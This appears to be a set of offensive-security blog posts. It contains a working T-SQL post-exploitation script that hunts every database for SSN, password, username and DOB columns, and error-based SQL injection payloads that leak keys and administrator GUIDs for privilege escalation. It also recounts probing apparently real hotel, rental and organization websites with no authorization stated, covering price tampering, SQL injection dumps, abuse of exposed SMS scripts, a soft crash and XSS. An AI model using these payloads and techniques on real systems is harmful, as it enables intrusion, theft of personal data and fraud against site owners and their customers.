Post-Exploitation PII Search Across All Databases

This is an improvement on the previous PII finder scripts. Since often times production db servers have many databases, this will iterate over ALL DATABASES at once.

 

IMPORTANT: Run select name, database_id from sys.Databases to figure out which databases you are interested in querying, and adjust the counter accordingly. Most times, there's a handful of system databases that are unlikely to be useful for finding PII, so I have excluded the first four by default:

 

declare @dbname VARCHAR(60)
declare @counter int;


declare @maxnames int;


declare @piisearch VARCHAR(500);

set @maxnames = (select count(name) from sys.databases where database_id > 4); /*exclude system tables, will vary based on database*/


set @counter = 4; /*change it here too*/

while @counter < @maxnames
begin

set @dbname = (select name from sys.databases where database_id = @counter)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%SSN%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%pw%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%asswor%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%sername%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%DOB%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%license%'';'

execute(@piisearch)

set @counter = @counter + 1

/*print @dbname*/

End

 

SQL Injection & Manual Data Exfiltration (For When SQLMap Won't Work)

This is a new payload that I'm hoping to incorporate into SQLMap soon (here's the feature request).

Assume a field is vulnerable to error-based SQL injection. SQLMap did a good job mapping out the column names and table names, but couldn't return any data rows. Through some trial and error, it becomes clear I can use a convert error and JOIN to display some data one record at a time (since multiple records will not display). Unfortunately, the WHERE and TOP clauses weren't working, so I had to find another way to integrate through the data rows, so I used LEAD() and LAG(). Hurray, I've got some varchar values coming through!

targetsite.com/vulnerablepage.do?badfield=select LEAD(CoolKeys,0,0) OVER (ORDER BY CoolKeys DESC) from CoolTableName join OtherTable on ArbitraryField=AnotherArbitraryField ...etc.

That was a good start...we get a conversion error on the value, so we get the value displayed, i.e.

Conversion failed when converting the varchar value 's3cretKey' to data type int

However, there was one thing I still needed. I really wanted to chain this with a privilege escalation vulnerability I'd found earlier, and if I could get all the GUID user IDs, including the administrators, then I could become a higher privileged user.

The problem was the SQL injection wasn't returning the GUIDs in my injected SELECT statement. It was a more generic SQL error, which isn't helpful. But I found I could use CONCAT to force the conversion error to show it!

targetsite.com/vulnerablepage.do?badfield=select concat(LEAD(GUIDData,0,0) OVER (ORDER BY GUIDData DESC),'hey') from CoolTableName join OtherTable on ArbitraryField=AnotherArbitraryField

 
Now the error will show: [GUID value]hey! Yay, I'm admin!

TL;DR:

1.) Use LEAD and LAG for situations where one row must be returned (and WHERE or TOP 1 etc. isn't working)

 

2.) Use CONCAT to force conversion errors to display uniqueidentifier-type data values through conversion errors

This all applies to bug bounty programs where SQLMap is not allowed, or if that kind of traffic gets you blocked too often.

Basic SQL Injection and XSS : OWASP Juice Shop and Beyond!

I've been learning how to use Burp Suite to speed up things I used to script. It's not a complete replacement for all projects (see my previous post about about shuffling MMS messages around, or polling scripts to alert me to changes in an upload folder, for example) but it's fantastic so far. A wonderful place to test has been OWASP Juice Shop, an intentionally vulnerable Javascript-based site, which has a score board for the various vulnerabilities found by its users.

One challenge was to find a hidden language file. It was easy to find the directory where the other language files were kept (and thus get the format of the file name, es_ES.json), but significantly more difficult to automate iterating over 4000 or more known language codes such as cs_CZ or es_ES to wait for a 200 OK status to come back.  I would have normally used a Python script here, but it could be tried in Burp Suite's "repeater" tool instead by loading the language codes into a payload and then running a custom packet (although, maybe not: the tricky part would be in the case of fictional languages that may not have a country code associated with it, so random 2-letter combinations may be brute forced faster with a script. Not sure - let me know in the comments if there's a Burp Suite way instead).

Long story short, Juice Shop is great practice tool... but what about other sites?

Hotel Rate and Hidden Variables

One hotel's reservation page can be edited so that it charges an incorrect room rate. This happens by editing two variables; one javascript variable for islovelyrate can be set to true, and, likewise, the lovelyrate variable can be set to any number. The islovelyrate variable forces a recalculation of the price just before the payment page, which then uses whatever rate amount the client-side code provided. There may be further server-side validation to prevent the bad amount from going through, but I stopped short of entering payment information, so I don't know.

Rental Site - SQLi, PHP

This one is full of fascinating issues. It is vulnerable to SQL injection, and has verbose SQL and PHP errors, which lead to finding the publicly readable directories where the .php files are stored. This included old copies of the PHP scripts, labeled as "reserve.php OLD" as opposed to "reserve.php". Because the file extension wasn't .php, the server allowed me to download and view the code in the old copies, instead of executing the PHP. It turns out that the old code must be very similar to the new version, because it was vulnerable to the same attacks that the old one was. The scripts included parameter names for PHP session variables, full SQL queries, other directories on the server, etc. Luckily no credentials were hard coded. Errors from trying to run PHP scripts as one-offs lead to more verbose errors which lead to several more readable directories with PHP scripts, including the admin section, and scripts for sending SMS to guests from the site (which functioned, as demonstrated with a temporary phone number). There was little to no input validation, so the product could be reserved for dates with a sooner start date than ending date, causing the product's final cost to be calculated as 0.00. Additionally, there were no upper bounds on date, so trying to get a quote for Dec 1, 1500 to Dec 1, 2020 seemed to cause a soft crash for a little while.

This site's one saving grace is that it did not allow me to upload my own file to one of these seemingly wide-open directories, despite the HTTP OPTIONS request returning POST. However, with a little more effort, I'm almost positive there would be a way to.

Organization - XSS, SQLi

This one was unusual. The SQL error returned revealed that the URL parameter passed to it was being used in various parts of the query in different ways, sometimes as a part of a column name, table name, or in the where clause parameter itself. I don't think I've ever seen that before, and at first, it was difficult to see how to SQL inject something like this. It was interesting that there were a lot of joins in the query, which showed a lot of table names. Other pages where more easily SQL injectable (with things like ‘ or ‘1’=‘1 (I couldn’t escape the end of the query with a - - comment, so I used the ending apostrophe). On one of these pages with a simpler query, I was able to SQL inject with a UNION which returned a different table's data (despite it only being designed to return one value, it luckily listed all of them). I got a privilege error when my output command failed to write the results to a file (which is okay because it was already displaying multiple results), but that gave me the current database user's account name.

A simple XSS attack worked in the search box of the site, mainly because it caused a SQL error which then executed the contents of the <script> tag when it displayed. I wonder if I would be able to insert the script tag so it would persist in the database, and execute for other users.